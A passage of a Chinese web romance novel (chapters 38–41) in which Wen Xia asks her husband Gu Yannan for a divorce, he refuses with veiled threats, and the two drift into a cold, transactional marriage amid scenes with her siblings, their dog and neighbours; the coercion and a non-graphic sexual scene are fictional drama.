或许是说了一大堆的话,她的嗓子有些哑:“这一年多我过得挺开心的,我们好聚好散吧,你肯定可以找到更合适的顾太太来陪你。”说完,她浑身卸了劲儿,感官已经麻木了,大脑却还在想过几天再提要言言抚养权的事。
“更合适的顾太太?”
“嗯,”温夏机械地回,“凭你的长相和身家,这段婚姻对你来说连黑历史都算不上,会有无数的女孩想要嫁给你,她们比我年轻比我听你的话也比我会讨你欢心,你一定会很喜欢她,你们会生活得很愉快。”
顾衍南没有说话,只静静地看着她,如墨般的黑眸藏着复杂的情绪。
温夏微微避开他的视线,加快语速道:“祝你三十岁生日快乐……这事你好好考虑,先下车吧。”
说完,她想从他的身上下去,扣着她腰的手力道却更重了,温夏无奈地仰头:“顾衍南……”
她的话还没说完,就在他晦暗的眼神下自动消了音。
顾衍南冰凉的长指慢慢抚上她的脸颊,淡声说:“你这话只说对一半,离婚后肯定会有无数女孩想要嫁给我倒没错,但是——你怎么就知道,我会喜欢上她们呢?”
感受到她眸底的情绪变动,他淡淡笑开:“温夏,你觉得如果我能喜欢上别的女人,我会因为跟你睡了一觉就娶你吗?”
温夏的瞳眸剧烈收缩,手指下意识攥紧衣角。
“这么多年,我遇到过不少女人,比你漂亮的也有,更别提话说的比你好听,比你会讨我欢心,”他捏着她的下巴,盯着她的眼睛,像是在细思什么,“我比谁都想喜欢上别的女人,可我对她们一丁点的兴趣都提不起来,连她们的手都没碰过。”
他的力道紧了紧,唇间溢出薄笑:“温夏,你知道你有多厉害吗?”
“……”
温夏的心口狠狠一颤,眼睫不受控制地颤动。
他的手指轻轻摩擦她的下巴,语气自始至终很平静:“你怎么会知道呢,你早就什么都忘了,一个月不到的时间你就能跟别的男人卿卿我我,你只是玩玩,你把你说过的话,我们之间的事全都忘了,只有我他妈一个人像傻子一样记得,只有我记得。”
“我不忘了我能怎么样?”温夏的情绪突然激烈起来,她扯了扯唇,轻轻笑出声,“顾衍南,你现在说这些有什么意义?当年我说断,是你自己点的头吧?我厉害?你这些年缺人陪吗?哪次偶遇你身边缺人了?你没资格指责我!”为了说服他离婚,她刚才亲口说了很多自贬的话,但她无法接受他把当年的事全都怪在她的头上,他说他比谁都想喜欢上别的女人,她也比谁都想对别的男人感兴趣,他说她厉害,他难道没有折磨过她?她不努力忘了这些事她能怎样,回国来找他吗?看着他身边来往的女伴,主动求着做他后宫中的一员?
过去的回忆,她独自在伦敦的那些年,画室里无数张不受控制勾勒的素描画,还有昨晚的事,一下子全都涌入脑海,温夏的情绪失了控:“你别用这种口气怪我,我不欠你什么!”
“你不欠我什么?”他像是听到笑话一样,“温夏,你欠我的多了去了,这辈子都还不完。你想离婚是吗?我可以明确告诉你,不可能。”
“谁叫你当年勾我上床,是你主动招惹我的吧?谁叫你因为你们家出事找上我的?谁叫你愿意嫁给我的?又是谁叫你在我发烧的时候去而复返照顾我的?”他掐着她的下巴,迫使她仰头看他,“你以为我们还是当年你说断就能断的炮友?我们可是受法律保护的夫妻,顾太太,你觉得你有离婚的权利吗?”
她没有离婚的权利。
他们早已不是当年她说断就能断的关系。
他也早已不是当年那个因为自尊心放纵她离开的蠢货。
她还有脸说要他去喜欢别的女人,他如果能做到,他是犯贱还是就喜欢受虐,非得和她这样没心没肺的人纠缠。
他眼尾染上红,嗓音沙哑:“温夏,我再说最后一次,离婚没可能,我不想逼你,不代表我不会这么做,你如果想要你的家人和朋友替你的不理智买单,你尽管闹……”
温夏呼吸颤抖,突然抓起他的手,在虎口上狠狠咬了一口。
她使了全劲,剧痛让顾衍南脸色微变,但他没有阻止,只是微微眯眼,缓解那股尖锐的刺痛。
“顾衍南,你如果敢动他们,我一定会让你付出代价!”她的唇间满是血腥味,胸口距离起伏,“我为什么没有离婚的权利?是你三番两次哄骗我,如今还要来逼我,我早该知道你是什么样的人——”
了断,有什么好了断的,如果她知道近乎决裂一般的了断会有这么撕心裂肺,她绝不会不听理智的劝阻非要跟他培养感情。
他还是那么高高在上,只会用强硬的手腕欺压逼迫她,他这辈子都不会变。
她松开他的手腕,直勾勾对上他的眼睛:“我现在最后悔的就是在你发烧那天回来,后悔和你一起养狗,后悔跟你这种人培养感情!”
顾衍南喉咙一紧,有什么涌了上来,堵得他呼吸不畅。
他哑着嗓子,明知故问:“如果重来一次,你要怎么做?”
重来一次?
温夏不知道,但她此刻的情绪带着刺,话怎么伤人怎么说:“那天我不会回来,我会像你在婚礼那晚说的那样安分守己,等我大哥出来,我不需要你的权势了,就跟你提离婚。”
“我们之间本来就只是钱色交易,如果你没有帮温氏起死回生的能力,我不可能会嫁给你,如果早知道你只会强迫女人,我宁愿卖给别人也不会卖给你!”
第39章 钱色交易也好,恨他也好……
狭小逼仄的车内陷入死寂般的沉默。
那双清澈灵动的杏眸此刻只有赤.裸裸的嘲弄和冷漠, 汇成无数尖锐的刺扎进他的心脏,胸口疼得快要窒息,他的喉间生出一股铁锈味。
钱色交易。
她把他们的关系, 自始至终都定义为钱色交易。
如他想的那样, 如果不是她走投无路,如果不是他恰好能帮到她,她不可能嫁给他。
如果有人也能帮到她,她会选择别人。
同等的条件下,她不会选他。
顾衍南的思维被撕扯到两个极端。
一面怪她居然敢这么想!钱色交易,去他的钱色交易!谁家金主在床上像他那般卖力伺候情人?他哪次不是让她先满意?
另一方面淡然地认同她的话,就算是钱色交易又怎样, 她不会选他又怎样,他会把那些想和她钱色交易的人统统弄死,让她除了他别无选择。
也许从一开始就该只是钱色交易,她这种没心没肺的女人, 他跟她谈什么感情, 不如就像当年一样, 做一对挂着夫妻名头的炮友。
这样对谁都好。
那些虚无缥缈的,不曾有过的,以后不会再有的, 没有就没有吧,反正这么多年都没有,他不照样活的好好的。
“可惜这个世界没有后悔药卖给你,”顾衍南听到自己用平静的声音说, “既然你觉得我们之间是钱色交易,那就还按最开始的钱色交易来吧,离婚你不用想了, 不可能。”
近乎歇斯底里的发泄,温夏的情绪渐渐冷静下来,好似心里憋了很久的浊气全都涌了出来,胸腔空荡荡的。
听到他这么说,她也没多大反应,钱色交易就钱色交易吧,她实在是个懦弱的人,没什么伟大的反抗精神,也没勇气跟他闹得鱼死网破,让因为她在监狱里待了快两年的大哥又要因为她的错误决定折腾。
陪睡就陪睡吧。
反正这段婚姻最开始,她就是抱着陪睡的态度嫁给他。
单纯睡觉的话,他确实是个完美的情人。
如果她自始至终都坚定这个想法,按照他婚礼那晚说的“不要贪心”,他们之间的相处会比现在轻松的。
是她作茧自缚,只能自食恶果。
“好。”她轻声说。
那晚,他们在车里缠绵许久。
开始,他还有兴致调侃她有多动情,被她一句“生理反应,谁来都一样”堵回去,他冷声让她闭嘴,然后温夏就没再开口,他也没说话,只像原始动物一样泄.欲。
车身剧烈晃动。
天空从黯淡到全黑,再到夜幕爬满星子。
车内空间狭窄,封闭的空间让空气难以流通,车内温度逐渐攀升,玻璃窗内壁很快爬满水雾。
双手撑在车窗上,温夏看着水珠缓慢坠落,身体不停往前撞。
这就是冲动的代价吧,她吃够了教训,以后绝不能再犯。
她睁大眼睛,看着两道车窗倒映的两道模糊的身影,人是一种好了伤疤忘了疼的生物,她要把今天的一切都记住。
肩膀被用力撞到车门,尖锐的疼痛让温夏闭了下眼,眼角不受控制流出一滴眼泪。
就这样砸在顾衍南的掌面。
滚烫的触感让他动作一怔,难以置信地低眸,昏暗光线下,她的眼眶通红,溢满晶莹的水珠。
“你哭什么?”他的声音有几分不明显的慌乱。
温夏垂下脑袋,长发遮住她的神情,她紧紧咬着唇,不让细碎的呜咽声泄露。
维护她仅剩的自尊。
泪腺却完全不受控制,滚烫的水珠一滴滴砸在顾衍南的西装裤上,布料很快被浸湿,他的胸口像是堵了一团湿棉花,难受到让人窒息。
“别哭了,温夏,别哭。”他将她抱回大腿上,手指拨开她的长发,去吻她的眼泪。
她不是没哭过,每次被他折腾狠了,也会克制不住哭出声,但这次……顾衍南清楚地知道,她的眼泪是因为什么。
她没有哭出声,连小声的抽噎也没有,只是无声的、一滴一滴地掉眼泪,浓密的睫毛被泪水打湿,眼眶通红,像是受了极大的委屈。
“别哭了温夏。”顾衍南不断吻掉她的眼泪,却敌不过新的泪水溢出来的速度,他脑中的那根弦突然断了,用力按着她的腰,恨不得将她嵌入他的身体,沉着声音警告:“温夏!不准再哭!”
过分的明明是她,是她先抛下的他,也是她不把他当回事,是她要跟他离婚,这一切都是她!
他没有错,如果他不这么做,她又要抛下他,剩下的几十年他不想再一个人过。
是她在逼他,他别无选择。
至少她还在他身边,在他触手可及的地方。
就这样吧,钱色交易也好,恨他也好,就这样吧……
看着她满脸泪痕,楚楚可怜的模样,顾衍南想让她别哭了,他讨厌看到她委屈的泪水,他伸手去摸她的脸颊,女人立刻别过了头。他手指一顿,出口的话与原本的意思大相径庭:“温夏,不许再哭,你哭我也不会放过你。”
她仍是不理他,低垂着脑袋,看也不看他。
他的眼尾也泛了红,掐着她的下巴,逼着她看他,“你跟我说句话,你说句话,我们就不做了。”不要不理我。
她木然地看着他,眼睛被泪水模糊得没有焦距——
更谈不上对视,因为她根本不是在看他,只是在盯着他这个方向。
心脏传来阵阵钝痛,良久,顾衍南率先挪开视线。
没有继续,他用纸巾给她擦拭干净,将她的衣服穿好,抱着她下车。
新鲜的空气吹散车内湿润的暧.昧。
温夏趴在他肩膀上,眼皮微微动了一下。
顾衍南抱她进浴室,给她洗澡,擦拭她的泪痕,然后将她塞进被子里。
她一直闭着眼睛。
等他洗完澡出来,她仍保持着刚才的睡姿,静静闭着眼睛,看上去好像睡着了。
他心里居然松了口气,因为这样就不用看到她冷漠的眼神。
关上灯,上床,将她抱进怀里。
女人纹丝不动,由着他抱,他的力道紧了紧。
就这样吧。
就这样吧,至少她还在他怀里。
-
也许是折腾得太累,温夏倒头就睡,第二天醒来时,身边早已没了人影。
她看了眼时间,已经九点多了,他早该上班去了。
眨了下眼睛,眼皮酸酸胀胀的,抬手一抹,眼皮已经肿了,还有细微的刺痛。
昨晚的事,如电影镜头般一幕幕闪现在眼前,温夏已经完全冷静下来,能用客观的角度分析接下来的路该怎么走。
只走肾不走心,这种模式她完全可以接受,只要不谈感情,她相信自己能处理好。
能有多糟呢,她最擅长的就是让自己适应各种令人窒息的环境。
洗漱完,她拿起手机扫了眼。
顾衍南给她发了条短信——他还在她微信的置顶,忘了取消置顶了,指尖微动,点击取消。
短信她没看,滑过去,点开他们兄妹三人的小群。
休假的温诗诗很闲,但她是个懂事的乖宝宝,知道哥哥姐姐都有正事忙,便说中午打包了饭菜去公司找他们一起吃饭。
温诗:[@.,大哥,你想吃什么?]
温诗:[@wynne,姐,你要吃什么?温诗诗竭诚为您服务~]
她半夜两点多发的,没人理她。
于是她最后加了句:[睡醒了记得回我@.@wynne]
温诗:[S属性大爆发,sleeping!]
“……”
温砚六点左右回她:[买你和你姐爱吃的就行。]
笼罩在胸口的阴霾散去几分,温夏弯起唇,回了几道她爱吃的菜。
温诗估计得十点之后才能醒,温夏放下手机,换了身衣服,出门前忽然想到什么,找了个冰袋敷了会儿眼睛,照着镜子看不出异样,她才放心出门。
昨天她没去公司,今天一到,温砚喊她去办公室,告诉她高行舟案子的调查结果。
“没什么大事,找个专业的律师,用不着蹲局子。”
温夏松了口气,不过一秒,眼皮垂了下去。
如果顾衍南不计较,这事就能完了,但他如果要死磕到底,后患无穷。
她已经答应他陪睡,他应该不会把事做的太绝。
温砚见她情绪不怎么好,随口问了句:“脸色怎么这么差?因为南湾项目的事,跟顾衍南吵架了?”
温夏摇摇头:“没有,昨晚没睡好。”
温砚看她几秒,没有追问。
他们兄妹俩的性格很像,不想说的话,再怎么问都不会说。
跳过这个话题,两人聊起公事。
中午,温诗全副武装,也没带助理,一个人拎着两大包的食盒进入总裁办公室。
一一摆好,温砚要动筷子,温诗连忙道:“等等——”
温砚看她一眼。
“等我拍个照片发微博,好久没营业了,哎,我真的太称职了,天生的大明星。”
“……”
温砚放下筷子,等她拍照。
温诗对着餐桌迅速拍了几张照片,想了想,拉着哥哥姐姐拍合照,“咱们很久没有拍照了,拍一张嘛,我不发微博。”
“这样,哥你别干巴巴地看镜头,比个心吧,哎呀不是传统的比爱心,”温诗示范给他看,“拇指和食指怼在一起。”
“姐你也别闲着,你左手比心,笑一笑,你们俩都笑一笑。”
“……”
温夏和温砚无奈地对视一眼,配合她的指示。
一连拍了几张,温诗满意地盯着屏幕:“吃吧吃吧,可以动筷子了。”
“……”
温夏和温砚拿起筷子。
温诗看着屏幕中的照片,他们兄妹三人真是太养眼了,怎么看怎么好看,只是——
温诗皱起眉,看向温砚:“哥,你怎么这么老?”
温砚:“……”
温诗鼓起腮帮,不满道:“我上次给你寄的护肤品你是不是没有按时用?你看看你眼角的细纹,你这才三十四岁,居然都有皱纹了!”
“还有你这黑眼圈,你是不是又熬夜工作了?我不是跟你说用不着拼命吗?你老婆老婆没有,孩子孩子也没有,你拼命赚这么多钱干嘛啊!”
温砚:“……”
他睨着没大没小的妹妹:“吃你的饭。”
温诗一点不怕他,小脸严肃道:“哥你别不听劝,我跟你说真的,你这把年纪的老男人更得注重保养,不然会老的很快的,你看咱们上次的合照,你跟三十出头那会儿真是没法比了……”
温夏抬眼,看向身侧的温砚。
平时没注意,经过温诗这么一说,她也发现,大哥真的比三年前“老”了不少。
当年,她因为遇到变态,差点失身,温砚及时赶到,失手不小心弄死那个杂碎,被检察院以过失致人死亡罪起诉,律师以正当防卫辩护,但最终还是判了三年有期徒刑。
后续表现良好,刑期一减再减,也在监狱里待了近两年。
由于提前打通关系,他在监狱里的条件很好,没受什么罪,但失去自由,看着家族企业濒临破产却无能为力,事业有成的两年白白浪费在监狱里。
温夏垂下眼,指尖微微颤了下。
耳边,温诗还在念叨,一口一个“老男人”,温砚眉骨直跳,忍无可忍,打断她:“再说我就安排你联姻。”
“……”温诗诗果断闭麦,用手在嘴边做了个拉拉链的动作。
结果安静没一分钟,转头去和温夏聊天。
温砚趁着两人不注意,拿出手机,悄悄打开相机,面无表情地端详屏幕中的脸,哪有很老……
……
一整个下午,温诗都在公司,先是骚扰了一会大哥,然后骚扰姐姐,都骚扰完,没人陪她玩,就叫大哥给闺蜜林若雯放假,拉着林若雯在温夏的休息室聊天。
温夏喜静,不过看到妹妹像孔雀一样在办公室里穿梭,小嘴叭叭地说个不停,心头浮上淡淡的暖意。
好心情在看到顾衍南的电话时戛然而止。
她烦躁地皱起眉,没挂也没接,等自动挂断。
顾衍南没再打,改成发短信:[六点半之前回家,不然我去接你。]
温夏的眉头蹙得更深,她把手机卡在桌面上。
六点二十九,温夏卡点把车开进庭院。
下车后,和正要出去找她的顾衍南撞上。
天色黯淡,四目相对。
不过一秒,温夏挪开视线,踩着高跟鞋往里走。
擦肩而过时,顾衍南伸手要去抓她的手腕,但不知道想到了什么,动作募地顿住,然后慢慢收回。
走进客厅,温夏没有停留。
顾衍南忍不住出声:“吃饭。”
温夏头也没回:“我吃过了。”
“和谁?在哪儿?”他大步走到她面前,拦住她的去路。
温夏抬眸看他,淡声道:“和我哥还有妹妹,在公司办公室吃的。”
顾衍南眼神一暗,很想问她为什么不回来陪他吃晚饭,他一直在等她回来,可答案他心知肚明,于是换了个问题,没话找话似的:“吃的什么?好吃吗?”
温夏:“张记打包的饭菜,好吃。”
“你喜欢吃张记的菜,我们明晚也点他家的,你最喜欢吃他们家的哪道菜?”
温夏抿了抿唇,随口报了两道菜名。
顾衍南认真地看着她:“我记下了。”
温夏平静地和他对视:“你还有什么要问的吗?”
“没有要问的我上楼了。”
她这幅平静的态度,让顾衍南缠绕在胸口的烦躁冒了出来,大脑快速思考能把话题继续下去的问题。
可脑子就像生锈一般,无话可说。
等了半分钟,他还是没开口,温夏抬腿往前走,不知道想到什么,突然回头,直勾勾地看着他:“你今晚要做吗?”
顾衍南指骨一紧,呼吸变得急促。
她的语气像在商量早餐吃什么一样平静:“要做的话我先去洗澡,在床上等你,不做的话我要去书房处理工作。”
第40章 对她再坏一点吧(一更)……
她是故意的。
故意用冷漠的态度, 想要逼他妥协。
虽然她对他的感情稀薄,经过这次的争吵估计没剩多少了,但至少他们一起生活这么久, 她不可能这么快就能完全接受由夫妻关系转变成钱色交易。
他知道, 她是装的。
他不会放过她,他还没高尚到为了成全她的自由牺牲他自己想要的,“好前夫”这个名声对他来说没用,他要的是实实在在的人。
他们一开始就是钱色交易,慢慢来吧,他做好和她打持久战的准备。
来日方长。
顾衍南对她的话充耳未闻,想到新的话题:“我们已经好几天没有带小蠢……言言去公园玩了, 今晚正好有空,一起去。”
她对小蠢狗完全是当儿子养的,只要不应酬不加班不下雨,每晚都要牵着它在小区里遛一遛, 出差的话, 每天也要给张婶打电话和小蠢狗视频, 小蠢狗的饭是她亲自喂的,她还特意跟宠物美容师学了如何给狗洗澡,小蠢狗的澡也是她亲自洗, 她对小蠢狗比对他好得多。
温夏嘴唇动了动,正要开口,就听顾衍南继续道:“当然,如果你迫不及待想要和我做, 我们就上楼一起洗澡。”
温夏抿了抿唇:“去公园。”
“嗯。”顾衍南的脸色缓了缓。
张婶在厨房干着急,顾衍南示意她把菜撤掉,然后和温夏牵着狗往公园走。
狗通人性, 但毕竟不是人,看到爸爸妈妈一起带它出去玩,撒开脚丫子围着两人腿边打转,最后似是察觉到温夏心情不佳,不停地用脑袋蹭她的裤腿,像是在安慰她。
温夏眸底浮现浅淡的暖意,蹲下揉了揉它的脑袋,“走吧,我们去公园玩。”
言言:“汪!”
天已经完全黑下来了,但小区路边到处都是路灯,温夏牵着狗绳,被言言拽着往前走,顾衍南跟在她旁边。
就像这一年多里,无数次那样。
只是,以往他们会闲聊这一天发生的琐事,现在只有沉默。
初秋的晚风给人一种萧瑟的悲戚感,风起,枯叶落了满地。
这个时间点,公园里的人很多,男女老少,闲聊的老年人,牵着孩子的一家三口,遛狗的小情侣。
他们的出现并不突兀。
由于他们傍晚经常一起出来遛狗,路上遇到不少认识的人,只不过两人之间的氛围明显不对劲,没人缺心眼到上来打招呼。
但许念念只有两岁,看不懂大人之间的事,眼里只有她的好朋友言言。小姑娘坐在秋千上,在人群中一眼看到身高和长相出挑的顾衍南和温夏,晃了晃许婧的胳膊,“妈妈,是顾叔叔和夏夏阿姨,还有言言!”
然后小声嘀咕了句:“他们很久没有来公园了。”
沈青砚在女儿背后轻轻给她推秋千,闻言朝公园入口一瞥,眉骨忍不住跳了跳。
温夏专心牵着狗看路,顾衍南盯着她,面无表情的,就差脸上写着“老子心情不好”几个字。
从入口到秋千区,两人全程无对话。
一看就知道吵架了。
沈青砚很想装作没看见,但宝贝女儿已经从秋千跳了下去,迈着小短腿跑到温夏跟前,仰起小脸:“夏夏阿姨晚上好,顾叔叔晚上好。”
温夏蹲下去,摸摸她的小脑袋,“念念,晚上好啊。”
念念悄悄看了顾衍南一眼,又盯着温夏看了几秒,凑到她耳边悄悄问:“夏夏阿姨,你心情不好吗?”
温夏怔了下。
又听小姑娘问:“顾叔叔惹你生气了吗?”
“……”
温夏垂眼,轻轻摇头:“没有。”
念念鼓起腮帮,抬手挠了挠小脑袋,若有所思:“没有嘛,可是爸爸每次惹妈妈生气,妈妈也是这样的表情。”
晚风徐徐,女人温声在和小姑娘说着什么,红唇一张一合,温柔的眉眼似一幅古典油画。
顾衍南目光微怔,浅浅出神。
很快,温夏和言言被许念念拉到秋千那边玩,沈青砚自认倒霉地叹了口气,边朝那边走边想:当初为什么要买这里的房子?现在搬家还来得及吗!
“又吵架了?”
顾衍南淡淡睨着他,眼神里明晃晃写着“少他妈多管闲事”。
沈青砚:“……”你当我闲得慌?
不远处,温夏和许婧在聊天,念念在逗狗,玩的不亦乐乎。
沈青砚见自己的好心被当成驴肝肺,没继续热脸贴冷屁股,抬腿就要走。
顾衍南突然开口:“许婧为什么会答应和你复婚?”
这话问的不算完整,他其实想问的是——你是怎么让许婧答应和你复婚的。
他按照他的方式去哄她,却把两人的关系越搞越糟。
沈青砚和许婧当初闹的特别厉害,许婧恨他恨到要去打胎,要不是进手术室前被拦住,沈青砚以她留下孩子为条件答应她离婚,许念念不会出生。
离婚后,沈青砚追了快三年,许婧才松口复婚,无论是关系的恶劣程度还是战线时长,沈青砚都比他有经验。
顾衍南不耻下问。
“当然是因为她还爱我,”沈青砚眉梢微挑,“不对,应该是我让她又重新爱上我了。”
顾衍南薄唇微抿,更加心烦意乱,想要点根烟,又想到她讨厌烟味,还是作罢。
他们跟沈青砚和许婧的情况不一样,据说,许婧暗恋沈青砚多年,一直都爱他,跟他离婚是因为沈青砚一次又一次和前女友接触,消耗了她的爱情,她渐渐失望。
而他和温夏,她对他最多只有一丁点的感情。
她对他距离“爱”,还有很长的路要走。
他现在已经不要求那么多,只想知道该怎么让她别不理他,不要张口闭口就是做不做!
顾衍南冷眼看他:“少说矫情的话。”
“……”沈青砚把老婆追回来,还有个可爱的女儿,他最近春风得意得很,也不计较他恶劣的态度,不吝赐教:“她想要什么你就给她什么,她要什么都顺着她,她心满意足了,不就给你好脸色瞧了。”
顾衍南冷睨着他。
她想要什么就给什么,她想要离婚,他难道就顺着她离婚?
出的什么破主意。
“怪不得你花了三年才让许婧同意复婚。”顾衍南淡淡评价。
沈青砚沉下脸,回以同样的嘲讽语气:“你到时候最好不要比我花的时间还长,你这今年都三十了,再耗个三五年的,还生的出孩子么?”
越说越生气,他好心充当一回老妈子给他建议,这人不仅不领情还对他阴阳怪气的,沈青砚搬家的欲望达到最高点,。
憋着一肚子的气,沈青砚离开前冷笑着撂下一句:“跟你住一个小区我真是倒了八辈子的霉,我等着吃你们的散伙饭。”
顾衍南冷嗤:“倒霉的是我。”
“最后一句话反弹给你自己,我等着再吃一顿你和许婧的散伙饭。”
沈青砚:“……”
幼稚,小学生啊,还反弹。
他作为一个两岁孩子的爹,没跟顾衍南这种幼稚的小学鸡继续没有意义的拌嘴行为,最后留了句“老婆是用来宠的,不是用来逼的,你好自为之”,抬腿去找老婆孩子。
留顾衍南一个人在风中站了会儿,然后去找温夏。
遛完狗,八点多点,他们回到家。
温夏看着空荡荡的餐桌,想到他今晚没吃晚餐,又想到他有挺严重的胃病。
不过想法一闪而过,没在大脑留下什么痕迹。
温夏洗完澡,正纠结是睡觉,还是去书房待到半夜再回来,卧室的门突然被推开,顾衍南走了进来。
他穿着睡袍,黑发微湿,估计是在书房的卫生间里洗过了。
无声地对视一秒,温夏挪开视线,掀开被子上床。
把她那边的灯关掉,翻身,背对着他。
顾衍南眯了眯眼。
温夏拿出手机,身侧的被子被掀开,她的脊背不自觉绷紧。
半分钟后,“啪嗒”一声,吊灯关掉,只剩一盏小夜灯,散发昏黄的微弱光线。
卧室更静了,两道同款的沐浴乳香气在空中交缠。
温夏攥紧手机,无意识地滑动手机界面,里面的字却一个也看不进去。
突然,腰间一沉,他的胳膊揽住她的腰,紧跟着,她整个人都被捞进他的怀里。
温夏搁在被窝里的手指蜷起,他指腹冰凉,拨开她的长发,很轻地吻上她的后脖颈。
然后长指挑下她的吊带睡裙,吻从脖颈往下蔓延。
手机落到床垫上,温夏慢慢闭上眼。
她以为……以为什么呢?
对她再坏一点吧,最好能把过去的记忆覆盖,最好她以后想起他,想到的只有这些混乱难堪的情.事,不会再经过公园就想到他们手牵手遛狗的画面,也不会看到沈青砚一家三口,就会幻想如果他们有孩子,会是什么样的情形。
他的吻很轻,轻的像羽毛,吻上她的后背。
温夏整个人僵硬无比,眼睛闭得更紧了,顾衍南忽然把她翻了个身。
变成面对面的姿势。
“睁眼。”他的嗓音沙哑,语气意味不明。
温夏睁开眼。
四目相对。
顾衍南低头,看着近在咫尺的女人,看着她浅浅成扇的睫毛剧烈颤抖,五官逐一僵住。
他又靠近了点,薄唇隔着几毫米的距离,几乎要贴上她的。
温夏直勾勾地看着他,被子下的手指一寸寸收紧,指节被掐到泛白。
他的唇贴上她的,仍是很轻,很软,却让她的身体更僵硬,肢体忍不住做出蜷缩的姿势,想要抱住自己的膝盖。
他又亲了下她的嘴唇,蜻蜓点水般的吻,换来她身体又一轮的僵硬。
他的手指向下,碰到她的肩带,在温夏以为他要往下扯时,他却把肩带重新挂到她的肩膀上。
温夏微怔。
他从她身上下去,低声道:“睡吧。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
40-50
第41章 他们的关系陷入了死局(……
温夏先是愣了下, 紧绷的身体陡然一松。
直至此刻,才发觉她的身体刚才有多僵硬。
顾衍南见她松了口气的模样,眸底划过一抹自嘲。
他今晚并不想怎么样, 他只是想亲一亲她, 就像他们以前无数个夜晚那样,不做的话也要亲一会再睡。
可在他的唇印上去的时候,他在她眼里看到了恐惧。
她害怕他。
不止是眼里,她浑身都在诠释着“害怕”两个字。
她害怕他。
她是觉得,他真的会强.奸她吗?
在她眼里,他现在已经变成只会发情的禽兽了吗?
这不是最坏的情况,最坏的是, 看到她害怕的眼神,他也会……害怕。
两人平躺在床上,近在咫尺的距离,同样频率的呼吸节奏, 却连句能说的话都没有。
黑暗中, 温夏睁眼看了会天花板, 眼皮酸累的厉害,她闭上眼睛,酝酿着睡意。
不知道过了多久, 迷迷糊糊快要睡着时,她听到身边响起窸窸窣窣的声音,她身体微僵,感知到他掀开被子下床。
很轻的脚步声, 紧跟着,卧室的门轻轻打开,他出去了。
被他这么一吵, 温夏好不容易酝酿的睡意就这么消失了。
她正要换个姿势,背对着他,忽然听到门口的脚步声。
动作顿住,维持平躺的姿势。
门又被轻轻关上,他轻手轻脚上了床,在黑暗中,他抓住她的左手。
温夏愣怔,脑子里泛起疑惑。
下一刻,手腕冰凉,她的眼皮猛地跳了下。
紧跟着,左手无名指被束缚住。
都戴好,他的指腹轻轻摩挲着她的手腕,把玩一会儿,把她的手搁回床上。
躺下去前,在她眉心亲了下,嗓音轻的像是叹息。
“晚安。”
-
温夏没把戒指和手镯摘下来。
她摘下多少次,他就会在她睡觉的时候给她戴多少次,来来回回的,太麻烦。
更何况,一件物品的意义是她自己赋予的,如果她不那么认为,那么不论是顾家给儿媳的传家宝,还是世俗意义上的婚戒,都只是最寻常的首饰。
她最该做的,是把投入进去的感情一点点收回去,而不是拿着没有生命的物件宣誓什么。
那天之后,温夏和顾衍南之间维持着诡异又微妙的关系——好像随时会爆发剧烈的暴风雨,但至少表面上风平浪静。
他们不再争吵,不再冷言相对,主要原因是他们很少讲话。
顾衍南变得一天比一天忙,几乎每晚都要应酬,回到家的时候温夏一般都睡了,没睡着的话她会装睡,他不会弄醒她,但会在关上灯后亲她,搂着她睡。
像是某种自我定义的仪式。
温夏也变得很忙,一边忙着筹备工作室,一边处理公司里的事务,不过就算再忙,她也会每晚抽出至少半小时的时间陪言言玩。
她从方清雅口中得知,高行舟已经被保释出来了,高行舟打电话道谢,多余的没再说什么,温夏也没问。
这件事,她已经仁至义尽,后续如果高行舟还要打法律的擦边网,她不会再做什么。
归根究底,他不算完全的无辜。
四季悄然轮换,已经是深秋了。
早上出门的时候,一阵冷风刮来,温夏的身体打了个寒颤,她想了想,回去套了个外套。
顾衍南上周去纽约出差了,一连走了十几天,他们保持每晚一个电话的联系频率,他会在她晚上睡觉前给她打电话,以言言为话题切入,聊一些无关痛痒的小事。
通话时长越来越短,从十分钟到八分钟再到五分钟,每每到无话可说,对着屏幕彼此沉默,看着时间一秒一秒流逝,他才会提挂电话。
温夏觉得,他应该也在对她“戒断”。
结合他生日那天他们在车上的对话,温夏得出,他对她应该是有感情的。当年那段关系彼此都正在兴头上,戛然而止,就像吃到好吃的甜品,浅尝几口没吃尽兴,所以才会念念不忘。
混杂着新鲜感和年少时的遗憾,婚后的这一年多,他们过得总体来说很开心,感情在一朝一夕中渐渐深厚。
可度过新鲜期,进入疲倦期和冷怠期,他逼迫她维持这段岌岌可危的关系,她累,他也累。
再深厚的感情都会慢慢消耗完,他估计也开始觉得她“没意思”了。
事情在按照她预料的发展,应该用不了多久,引线就会燃到尽头。
这个想法在温夏下午见客户,看到顾衍南和徐茵一同进入新松公馆得到确认。
昨晚他打电话,并没有告诉她他什么时候回来,他们聊天的内容仅限于言言,还有她,他从不告诉她他的事。
“怎么回事?”祁源见她看着顾衍南和一个女人的背影,蹙眉问道。
温夏收回视线:“什么怎么回事?”
祁源:“那女的谁?”
“他的朋友。”温夏把顾家和徐茵父母的关系简略地告诉他。
祁源的眉头舒展开来,他想起阿砚的话——温砚和温夏的性子很像,不会劝人更不会安慰人,便把“询问温夏和顾衍南是不是在冷战,还有劝和”的任务交给他。
温砚要他劝和当然不是看中顾家能带给温家的利益,他只是单纯地认为顾衍南能给、会给、给了夏夏幸福。
温夏这段时间低落的状态他看在眼里,一直没找到机会问,眼下时机成熟,他状似随口问了句:“你是不是和顾衍南吵架了?”
温夏微怔,摇头:“没有。”
祁源见她不欲多说,劝了句:“两个人越接触,会发现越多对方和自己不契合的地方,这很正常,人和人怎么可能像钥匙和锁那样刚好契合,是需要慢慢磨合的,有的事不能退让,但有的事是可以沟通妥协的。”
温夏点头:“我知道。”
祁源叹了口气,换了话题,聊起公事。
见完客户快要六点,梁从音来找祁源一起看电影,她见温夏孤零零的,顺嘴提了句:“要不,你跟我们一起去?”
温夏挑眉:“你不嫌弃我是电灯泡?”
梁从音想了想,用力点头:“嫌弃。”她去巴黎出差半个月,小别胜新婚,现在只想和她家祁总监酿酿酱酱。
温夏:“……那你还说。”
梁从音回怼:“我客套一下嘛,知道你不会去。”
温夏:“……”
“走啦,拜拜。”梁从音把手塞进祁源的手里,被他自然地交叉指缝扣住。
目送两人十指相扣走上车,温夏眉眼间浮上浅淡的暖意。
看电影……她很久没看电影了,上一场电影是和顾衍南一起去影院看的,温诗客串的一部文艺片,除了滤镜好看,台词和剧情没一个能看的。
顾衍南回来了,这让她不是很想回家,但梁从音要和祁源一起看电影,温诗去拍戏了,温砚要忙工作,她可以去哪儿呢?
算了,回家吧,言言还在家等她。
